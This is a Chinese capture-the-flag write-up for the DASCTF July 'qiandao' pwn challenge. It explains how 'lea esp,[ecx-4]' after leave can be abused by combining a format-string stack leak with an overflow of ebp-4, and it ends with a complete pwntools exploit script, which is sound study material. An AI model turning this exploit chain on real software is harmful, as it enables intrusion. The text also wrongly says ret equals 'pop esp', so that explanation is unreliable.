DASCTF七月月赛PWN

尝试做做pwn题,结果很失败,不过学到了新东西。

qiandao

简单的栈溢出,但是在leave指令后,利用lea指令给esp赋值别的地址,导致我们覆盖到返回地址的地址不能被跳转。

分析

首先需要明白在函数返回时leaveret两条指令的本质:

  • leave指令相当于mov esp,ebp; pop ebp;即恢复上一个函数的栈结构
  • ret指令则相当于pop esp;也就是在ebp出栈之后,esp其实是指向返回地址的,就会将当前栈顶内容弹出到eip中进行执行

leamov指令呢?

leaload effective address的缩写,简单的说,lea指令可以用来将一个内存地址直接赋给目的操作数,例如:
lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax,而不是把ebx+8处的内存地址里的数据赋给eax。

mov指令则恰恰相反,例如:
mov eax,[ebx+8]则是把内存地址为ebx+8处的数据赋给eax。

再看一下这道题目中函数调用结束的指令:

leaveret之间执行了lea esp,[ecx-4]也就是将esp指向了ecx-4这个地址,这个地址在哪?
我们看到前面的mov ecx,[ebp+var_4]得知了ecx存放的是ebp+var_4地址上的内容,而var_4是栈上比ebp低四字节的位置:

也就是说esp=[ebp-4]-4

同时程序又存在格式化字符出纳漏洞,那整个思路就很明显了:

  • 1、格式化字符串泄露栈地址
  • 2、修改ebp-4处的值为可控地址
  • 3、在可控地址-4的位置存放backdoor的地址

我们先看一下能不能通过输入格式化字符串输出ebp地址:%p%p%p%p%p%p%p%p%p

从图中的结果可以看到,第二个参数输出的内容正是栈底地址。

注意:指出个容易混淆的地方

在用代码attach的时候,发现ebp中是有三个地址(下图),第三个才是真正的main函数的栈底地址,刚开始很困惑为什么ebp不是输出的值?思考半天才想起来main函数中调用了多次的puts和gets函数,attach的时候是在调用函数栈中的。

由此构造下payload:

stack_addr = int(p.recv(8),16) - 0x24 
# 这里是接收到的栈底地址的低0x24字节的地方,它的低4字节存放backdoor的地址
payload2 = p32(back_addr) + '\x00'*0x20 + p32(stack_addr)
# 这里第二次输入,从ebp-0x28的地方输入的,所以中间填充0x20个\x00,然后用stack_addr覆盖ebp-0x4的值,使lea指令之后的esp-4指向存放backdoor地址的地方

构造exp如下:

exp

from pwn import *
context.log_level = 'debug'
p = process('./qiandao')
#p = remote('183.129.189.60',10013)

back_addr = 0x0804857D
payload1 = '%2$p'

p.recvuntil('name:')
p.sendline(payload1)
gdb.attach(p)
p.recvuntil('0x')
stack_addr = int(p.recv(8),16) - 0x24

payload2 = p32(back_addr) + '\x00'*0x20 + p32(stack_addr)
p.recvuntil('problem?')
#gdb.attach(p)
p.sendline(payload2)
#gdb.attach(p)
p.interactive()

Comments


:D 一言句子获取中...

Loading...Wait a Minute!